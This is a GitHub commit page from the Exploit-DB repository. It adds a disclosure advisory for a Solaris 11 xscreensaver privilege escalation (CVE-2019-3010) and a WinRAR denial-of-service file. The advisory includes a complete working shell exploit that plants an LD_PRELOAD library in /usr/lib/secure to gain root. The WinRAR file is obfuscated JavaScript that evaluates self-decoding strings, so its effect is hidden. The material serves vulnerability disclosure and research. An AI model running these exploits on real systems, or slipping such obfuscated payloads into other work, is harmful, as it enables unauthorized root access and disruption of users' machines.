Skip to content

Commit e4e566f

Browse files
author
Offensive Security
committed
DB: 2019-10-22
7 changes to exploits/shellcodes winrar 5.80 64bit - Denial of Service Adobe Acrobat Reader DC for Windows - Heap-Based Buffer Overflow due to Malformed JP2 Stream (2) sudo 1.2.27 - Security Bypass sudo 1.8.27 - Security Bypass winrar 5.80 - XML External Entity Injection Trend Micro Anti-Threat Toolkit 1.62.0.1218 - Remote Code Execution Solaris 11.4 - xscreensaver Privilege Escalation CyberArk Password Vault 10.6 - Authentication Bypass
1 parent 9601f70 commit e4e566f

File tree

7 files changed

+482
-82
lines changed

7 files changed

+482
-82
lines changed

exploits/linux/webapps/47512.txt

Lines changed: 0 additions & 80 deletions
This file was deleted.

exploits/solaris/local/47529.txt

Lines changed: 168 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,168 @@
1+
@Mediaservice.net Security Advisory #2019-02 (last updated on 2019-10-16)
2+
3+
Title: Local privilege escalation on Solaris 11.x via xscreensaver
4+
Application: Jamie Zawinski's xscreensaver 5.39 distributed with Solaris 11.4
5+
Jamie Zawinski's xscreensaver 5.15 distributed with Solaris 11.3
6+
Other versions starting from 5.06 are potentially affected
7+
Platforms: Oracle Solaris 11.x (tested on 11.4 and 11.3)
8+
Other platforms are potentially affected (see below)
9+
Description: A local attacker can gain root privileges by exploiting a
10+
design error vulnerability in the xscreensaver distributed with
11+
Solaris
12+
Author: Marco Ivaldi <[email protected]>
13+
Vendor Status: <[email protected]> notified on 2019-07-09
14+
CVE Name: CVE-2019-3010
15+
CVSS Vector: CVSS:3.0/AV:L/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H (Base Score: 8.8)
16+
References: https://lab.mediaservice.net/advisory/2019-02-solaris-xscreensaver.txt
17+
https://www.oracle.com/technetwork/security-advisory/cpuoct2019-5072832.html
18+
https://www.jwz.org/xscreensaver/
19+
https://www.oracle.com/technetwork/server-storage/solaris11/
20+
https://www.mediaservice.net/
21+
https://0xdeadbeef.info/
22+
23+
1. Abstract.
24+
25+
Exploitation of a design error vulnerability in xscreensaver, as distributed
26+
with Solaris 11.x, allows local attackers to create (or append to) arbitrary
27+
files on the system, by abusing the -log command line switch introduced in
28+
version 5.06. This flaw can be leveraged to cause a denial of service condition
29+
or to escalate privileges to root.
30+
31+
2. Example Attack Session.
32+
33+
raptor@stalker:~$ cat /etc/release
34+
Oracle Solaris 11.4 X86
35+
Copyright (c) 1983, 2018, Oracle and/or its affiliates. All rights reserved.
36+
Assembled 16 August 2018
37+
raptor@stalker:~$ uname -a
38+
SunOS stalker 5.11 11.4.0.15.0 i86pc i386 i86pc
39+
raptor@stalker:~$ id
40+
uid=100(raptor) gid=10(staff)
41+
raptor@stalker:~$ chmod +x raptor_xscreensaver
42+
raptor@stalker:~$ ./raptor_xscreensaver
43+
raptor_xscreensaver - Solaris 11.x LPE via xscreensaver
44+
Copyright (c) 2019 Marco Ivaldi <[email protected]>
45+
[...]
46+
Oracle Corporation SunOS 5.11 11.4 Aug 2018
47+
root@stalker:~# id
48+
uid=0(root) gid=0(root)
49+
50+
3. Affected Platforms.
51+
52+
This vulnerability was confirmed on the following platforms:
53+
54+
* Oracle Solaris 11.x X86 [tested on 11.4 and 11.3, default installation]
55+
* Oracle Solaris 11.x SPARC [untested]
56+
57+
Previous Oracle Solaris 11 versions might also be vulnerable.
58+
59+
Based on our analysis and on feedback kindly provided by Alan Coopersmith of
60+
Oracle, we concluded that this is a Solaris-specific vulnerability, caused by
61+
the fact that Oracle maintains a slightly different codebase from the upstream
62+
one. Alan explained this as follows:
63+
64+
"The problem in question here appears to be inherited from the long-ago fork
65+
[originally based on xscreensaver 4.05] Sun & Ximian did to add a gtk-based
66+
unlock dialog with accessibility support to replace the non-accessible Xlib
67+
unlock dialog that upstream provides, which moves the uid reset to after where
68+
the log file opening was later added."
69+
70+
Specifically, the problem arises because of this bit of Solaris patches:
71+
https://github.com/oracle/solaris-userland/blob/18c7129a50c0d736cbac04dcfbfa1502eab71e33/components/desktop/xscreensaver/patches/0005-gtk-lock.patch#L3749-L3770
72+
73+
As an interesting side note, it appears Red Hat dropped this code back in 2002
74+
with version 4.05-5:
75+
https://src.fedoraproject.org/rpms/xscreensaver/blob/9a0bab5a19b03db9671fc5a20714755445f19e21/f/xscreensaver.spec#L2178-2179
76+
77+
4. Fix.
78+
79+
Oracle has assigned the tracking# S1182608 and has released a fix for all
80+
affected and supported versions of Solaris in their Critical Patch Update (CPU)
81+
of October 2019.
82+
83+
As a temporary workaround, it is also possible to remove the setuid bit from
84+
the xscreensaver executable as follows (note that this might prevent it from
85+
working properly):
86+
87+
bash-3.2# chmod -s /usr/bin/xscreensaver
88+
89+
5. Proof of Concept.
90+
91+
An exploit for Oracle Solaris 11.x has been developed as a proof of concept. It
92+
can be downloaded from:
93+
94+
https://github.com/0xdea/exploits/blob/master/solaris/raptor_xscreensaver
95+
96+
#!/bin/sh
97+
98+
#
99+
# raptor_xscreensaver - Solaris 11.x LPE via xscreensaver
100+
# Copyright (c) 2019 Marco Ivaldi <[email protected]>
101+
#
102+
# Exploitation of a design error vulnerability in xscreensaver, as
103+
# distributed with Solaris 11.x, allows local attackers to create
104+
# (or append to) arbitrary files on the system, by abusing the -log
105+
# command line switch introduced in version 5.06. This flaw can be
106+
# leveraged to cause a denial of service condition or to escalate
107+
# privileges to root. This is a Solaris-specific vulnerability,
108+
# caused by the fact that Oracle maintains a slightly different
109+
# codebase from the upstream one (CVE-2019-3010).
110+
#
111+
# "I'd rather be lucky than good any day." -- J. R. "Bob" Dobbs
112+
# "Good hackers force luck." -- ~A.
113+
#
114+
# This exploit targets the /usr/lib/secure/ directory in order
115+
# to escalate privileges with the LD_PRELOAD technique. The
116+
# implementation of other exploitation vectors, including those
117+
# that do not require gcc to be present on the target system, is
118+
# left as an exercise to fellow UNIX hackers;)
119+
#
120+
# Usage:
121+
# raptor@stalker:~$ chmod +x raptor_xscreensaver
122+
# raptor@stalker:~$ ./raptor_xscreensaver
123+
# [...]
124+
# Oracle Corporation SunOS 5.11 11.4 Aug 2018
125+
# root@stalker:~# id
126+
# uid=0(root) gid=0(root)
127+
# root@stalker:~# rm /usr/lib/secure/64/getuid.so /tmp/getuid.*
128+
#
129+
# Vulnerable platforms:
130+
# Oracle Solaris 11 X86 [tested on 11.4 and 11.3]
131+
# Oracle Solaris 11 SPARC [untested]
132+
#
133+
134+
echo "raptor_xscreensaver - Solaris 11.x LPE via xscreensaver"
135+
echo "Copyright (c) 2019 Marco Ivaldi <[email protected]>"
136+
echo
137+
138+
# prepare the payload
139+
echo "int getuid(){return 0;}" > /tmp/getuid.c
140+
gcc -fPIC -Wall -g -O2 -shared -o /tmp/getuid.so /tmp/getuid.c -lc
141+
if [ $? -ne 0 ]; then
142+
echo "error: problem compiling the shared library, check your gcc"
143+
exit 1
144+
fi
145+
146+
# check the architecture
147+
LOG=/usr/lib/secure/getuid.so
148+
file /bin/su | grep 64-bit >/dev/null 2>&1
149+
if [ $? -eq 0 ]; then
150+
LOG=/usr/lib/secure/64/getuid.so
151+
fi
152+
153+
# start our own xserver
154+
# alternatively we can connect back to a valid xserver (e.g. xquartz)
155+
/usr/bin/Xorg :1 &
156+
157+
# trigger the bug
158+
umask 0
159+
/usr/bin/xscreensaver -display :1 -log $LOG &
160+
sleep 5
161+
162+
# clean up
163+
pkill -n xscreensaver
164+
pkill -n Xorg
165+
166+
# LD_PRELOAD-fu
167+
cp /tmp/getuid.so $LOG
168+
LD_PRELOAD=$LOG su -

exploits/windows/dos/47525.txt

Lines changed: 73 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,73 @@
1+
# Exploit Title: winrar 5.80 64bit - Denial of Service
2+
# Date: 2019-10-19
3+
# Exploit Author: alblalawi
4+
# Vendor Homepage: https://win-rar.com/fileadmin/winrar-versions/winrar-x64-58b2.exe
5+
# Version: 5.80
6+
# Tested on: Microsoft Windows Version 10.0.18362.418 64bit
7+
8+
# 1- open winrar or any file.rar
9+
# 2- help
10+
# 3- help topics
11+
# 4- Drag the exploit to the window
12+
13+
# Save the content html
14+
15+
16+
<script type="text/javascript">
17+
//<![CDATA[
18+
<!--
19+
var x="function f(x){var i,o=\"\",l=x.length;for(i=l-1;i>=0;i--) {try{o+=x.c" +
20+
"harAt(i);}catch(e){}}return o;}f(\")\\\"function f(x,y){var i,o=\\\"\\\\\\\""+
21+
"\\\\,l=x.length;for(i=0;i<l;i++){if(i==28)y+=i;y%=127;o+=String.fromCharCod" +
22+
"e(x.charCodeAt(i)^(y++));}return o;}f(\\\"\\\\xr}jMDLW\\\\\\\\nRTN\\\\\\\\\\"+
23+
"\\\\\\LFE\\\\\\\\004\\\\\\\\017\\\\\\\\022GD\\\\\\\\\\\\\\\\^\\\\\\\\rhGjYh" +
24+
"83#9y2/(-s:\\\\\\\\021\\\\\\\\024\\\\\\\\013\\\\\\\\025Y9D\\\\\\\\037E\\\\\\"+
25+
"\\034\\\\\\\\013F\\\\\\\\017\\\\\\\\002\\\\\\\\003\\\\\\\\037\\\\\\\\021\\\\"+
26+
"\\\\005\\\\\\\\033\\\\\\\\021\\\\\\\\030\\\\\\\\020*UX\\\\\\\\032\\\\\\\\02" +
27+
"5\\\\\\\\025\\\\\\\\010\\\\\\\\030\\\\\\\\020t<^!M@;?T+4W~Q`3}tfr4}bch4\\\\" +
28+
"\\\\177jith\\\\\\\\\\\"\\\\|\\\\\\\\003g[TLTB[u\\\\\\\\010\\\\\\\\013OB@[U_" +
29+
"F\\\\\\\\016h\\\\\\\\027\\\\\\\\033\\\\\\\\006d\\\\\\\\033\\\\\\\\004gNaP\\" +
30+
"\\\\\\003\\\\\\\\\\\"\\\\.&:z\\\\\\\\0314\\\\\\\\033&u9(>$>;p=3=3 70=d\\\\\\"+
31+
"\\006y\\\\\\\\n\\\\\\\\037\\\\\\\\r<\\\\\\\\022\\\\\\\\010\\\\\\\\022\\\\\\" +
32+
"\\027J \\\\\\\\010\\\\\\\\004\\\\\\\\007\\\\\\\\r\\\\\\\\0177NS2\\\\\\\\035" +
33+
",\\\\\\\\037.\\\\\\\\001(\\\\\\\\033VWX=\\\\\\\\023\\\\\\\\026\\\\\\\\\\\\\\"+
34+
"\\\\\\\\\\016\\\\\\\\026l!\\\\\\\\\\\"\\\\_vYh'()Ynx-}g|1/3Wgsvl|Uyvx}k\\\\" +
35+
"\\\\010}\\\\\\\\000tWFTNX]\\\\\\\\004xDHBCl\\\\\\\\023\\\\\\\\033\\\\\\\\02" +
36+
"3\\\\\\\\024iDkV\\\\\\\\031\\\\\\\\032\\\\\\\\033\\\\\\\\177\\\\\\\\\\\\\\\\"+
37+
"RS`2*/j\\\\\\\\0273)`\\\\\\\\025h\\\\\\\\027n\\\\\\\\021l,=5|6,0\\\\\\\\nu\\"+
38+
"\\\\\\004{\\\\\\\\006yu}~\\\\\\\\003\\\\\\\\022=\\\\\\\\014CDE5\\\\\\\\002\\"+
39+
"\\\\\\034I\\\\\\\\031\\\\\\\\003\\\\\\\\000MSO>\\\\\\\\036\\\\\\\\006\\\\\\" +
40+
"\\033\\\\\\\\035\\\\\\\\033\\\\\\\\021WXYZ'\\\\\\\\016!\\\\\\\\020 !\\\\\\\\"+
41+
"\\\"\\\\_vYh;'ziye}z1LcN}(:tx|`$GnAp#\\\\\\\\017IVNH\\\\\\\\033\\\\\\\\004\\"+
42+
"\\\\\\016\\\\\\\\023\\\\\\\\031\\\\\\\\021\\\"\\\\,28)\\\"(f};)lo,0(rtsbus." +
43+
"o nruter};)i(tArahc.x=+o{)--i;0=>i;1-l=i(rof}}{)e(hctac};l=+l;x=+x{yrt{)401" +
44+
"=!)31/l(tAedoCrahc.x(elihw;lo=l,htgnel.x=lo,\\\"\\\"=o,i rav{)x(f noitcnuf\""+
45+
")" ;
46+
while(x=eval(x));
47+
//-->
48+
//]]>
49+
</script>
50+
<script type="text/javascript">
51+
//<![CDATA[
52+
<!--
53+
var x="function f(x){var i,o=\"\",ol=x.length,l=ol;while(x.charCodeAt(l/13)!" +
54+
"=48){try{x+=x;l+=l;}catch(e){}}for(i=l-1;i>=0;i--){o+=x.charAt(i);}return o" +
55+
".substr(0,ol);}f(\")19,\\\"ZPdw771\\\\b77-0xjk-7=3771\\\\sp,cw$520\\\\:330\\"+
56+
"\\xg030\\\\jj9%530\\\\b000\\\\XZUUVX620\\\\LP\\\\\\\\Pr\\\\610\\\\KOHD400\\" +
57+
"\\620\\\\720\\\\\\\\\\\\WOWGPr\\\\530\\\\NClAauFkD,$gqutdr/3-ig~`|)rkanwbo2" +
58+
"30\\\\t\\\\ 520\\\\&310\\\\$n\\\\200\\\\)230\\\\/000\\\\-K530\\\\310\\\\310" +
59+
"\\\\n\\\\630\\\\010\\\\IULFW620\\\\600\\\\400\\\\700\\\\520\\\\=*100\\\\(70" +
60+
"0\\\\4500\\\\*310\\\\-u}xy8pt~}|{771\\\\itg/e771\\\\sb|`V620\\\\530\\\\NT\\" +
61+
"\\\\\\MdYjGh010\\\\@TVI[O410\\\\620\\\\n\\\\330\\\\ZB@CQA200\\\\SAijArGhEec" +
62+
"J{HaN*2S?9t)V)5,&waedtbn\\\\!010\\\\'420\\\\%n\\\\+r\\\\U]XY030\\\\PT^]\\\\" +
63+
"\\\\[ZY]GZEr\\\\CYQ@b~4|);/pw$:2'610\\\\?410\\\\=220\\\\vn720\\\\h520\\\\hz" +
64+
"f7!%$4\\\"\\\\730\\\\L\\\\\\\\JOfWdEjN420\\\\230\\\\230\\\\IU710\\\\@BE_IG]" +
65+
"AHyV771\\\\430\\\\300\\\\|kntnxixnv|:`kwe2S3h|r~)|wowgp>o\\\\\\\\410\\\\!B7" +
66+
"30\\\\330\\\\430\\\\020\\\\K030\\\\)600\\\\/L530\\\\530\\\\330\\\\600\\\\QN" +
67+
"C400\\\\500\\\\r\\\\320\\\\710\\\\720\\\\320\\\\M620\\\\710\\\\500\\\\2+>3?" +
68+
"\\\"(f};o nruter};))++y(^)i(tAedoCrahc.x(edoCrahCmorf.gnirtS=+o;721=%y{)++i" +
69+
";l<i;0=i(rof;htgnel.x=l,\\\"\\\"=o,i rav{)y,x(f noitcnuf\")" ;
70+
while(x=eval(x));
71+
//-->
72+
//]]>
73+
</script>

0 commit comments

Comments
 (0)